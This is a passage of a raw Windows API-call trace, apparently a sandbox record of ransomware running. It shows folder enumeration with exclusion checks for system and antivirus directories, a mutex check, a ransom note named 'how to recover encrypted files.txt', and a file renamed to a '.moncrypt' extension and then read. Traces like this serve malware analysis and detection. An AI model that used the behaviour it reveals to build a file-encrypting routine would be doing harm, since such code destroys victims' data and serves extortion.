cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0048.417] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@卜U企@\x18?T\x18\x81")) returned 0xffffffff [0048.417] GetLastError () returned 0x2 [0048.417] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\") returned 0x58 [0048.417] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ac8, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0048.417] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0048.417] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@℔R企@\x18?T\x18\x88")) returned 0xffffffff [0048.417] GetLastError () returned 0x2 [0048.417] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\") returned 0x58 [0048.417] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ac8, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0048.418] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0048.418] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@蜄T企@\x18?T\x18\x8f")) returned 0xffffffff [0048.418] GetLastError () returned 0x2 [0048.418] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\") returned 0x58 [0048.418] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ac8, cbMultiByte=6, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0048.418] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18d74c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0048.418] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a90, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="ꠜR䱠@卜U企@\x18?T\x18\x97")) returned 0xffffffff [0048.418] GetLastError () returned 0x2 [0048.418] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\") returned 0x58 [0048.418] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ac8, cbMultiByte=7, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0048.419] GlobalLock (hMem=0x440004) returned 0x555860 [0048.419] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.419] GlobalUnlock (hMem=0x440004) returned 0 [0048.419] GlobalLock (hMem=0x440004) returned 0x555860 [0048.419] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.419] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.419] GlobalUnlock (hMem=0x440004) returned 0 [0048.419] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.419] GlobalUnlock (hMem=0x44000c) returned 0 [0048.419] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\") returned 0x58 [0048.419] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.419] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0048.419] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\") returned 0x58 [0048.419] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0048.419] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0048.419] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\") returned 0x58 [0048.420] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.420] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0048.420] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\") returned 0x58 [0048.420] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0048.420] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69b28, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0048.420] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.420] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.420] GlobalUnlock (hMem=0x44000c) returned 0 [0048.420] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.420] GlobalLock (hMem=0x440004) returned 0x557870 [0048.420] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.420] GlobalUnlock (hMem=0x44000c) returned 0 [0048.420] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.420] GlobalUnlock (hMem=0x440004) returned 0 [0048.420] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\") returned 0x58 [0048.420] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0048.421] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\") returned 0x58 [0048.421] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ac8, cbMultiByte=11, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0048.421] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\") returned 0x58 [0048.421] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ac8, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0048.421] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\") returned 0x58 [0048.421] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0048.421] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\") returned 0x58 [0048.421] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0048.421] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\") returned 0x58 [0048.421] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ac8, cbMultiByte=10, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0048.422] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\") returned 0x58 [0048.422] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ac8, cbMultiByte=8, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0048.422] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\") returned 0x58 [0048.422] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ac8, cbMultiByte=9, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0048.422] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\", cchLength=0x58 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\") returned 0x58 [0048.422] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18d704, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0048.422] GlobalLock (hMem=0x440004) returned 0x555860 [0048.422] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.422] GlobalUnlock (hMem=0x440004) returned 0 [0048.422] GlobalLock (hMem=0x440004) returned 0x555860 [0048.422] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.422] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.422] GlobalUnlock (hMem=0x440004) returned 0 [0048.422] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.422] GlobalUnlock (hMem=0x44000c) returned 0 [0048.423] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.423] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.423] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.XML", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0048.423] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.423] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.423] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.423] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.423] GlobalUnlock (hMem=0x44000c) returned 0 [0048.423] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.423] GlobalLock (hMem=0x440004) returned 0x557870 [0048.423] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.423] GlobalUnlock (hMem=0x44000c) returned 0 [0048.423] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.423] GlobalUnlock (hMem=0x440004) returned 0 [0048.423] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.423] CharLowerBuffW (in: lpsz="PrjProrWW.XML", cchLength=0xd | out: lpsz="prjprorww.xml") returned 0xd [0048.423] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.423] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.423] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18d6dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pç\x18", lpUsedDefaultChar=0x0) returned 1 [0048.424] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18d6e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt흘\x18\x06") returned 34 [0048.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", cchWideChar=101, lpMultiByteStr=0x18d6c0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpUsedDefaultChar=0x0) returned 101 [0048.424] CharLowerBuffW (in: lpsz=".XML", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0048.424] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x18d6e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xmlShared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpUsedDefaultChar=0x0) returned 4 [0048.424] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.425] WriteFile (in: hFile=0x190, lpBuffer=0x1e61dd8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61dd8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0048.426] CloseHandle (hObject=0x190) returned 1 [0048.426] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\я")) returned 1 [0048.427] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.XML", cAlternateFileName="PRJPRO~1.XML")) returned 0x54e280 [0048.427] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0048.427] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0048.427] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.427] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML", dwFileAttributes=0x20) returned 1 [0048.428] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0048.428] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.moncrypt")) returned 1 [0048.429] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\PrjProrWW.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\prjpror\\prjprorww.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.429] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.429] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x1915 [0048.429] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.429] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x1915, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e3b4*=0x1915, lpOverlapped=0x0) returned 1 [0048.431] GlobalLock (hMem=0x440004) returned 0x555860 [0048.431] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.431] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.431] GlobalUnlock (hMem=0x440004) returned 0 [0048.431] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.431] GlobalUnlock (hMem=0x44000c) returned 0 [0048.431] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.431] GlobalHandle (pMem=0x555860) returned 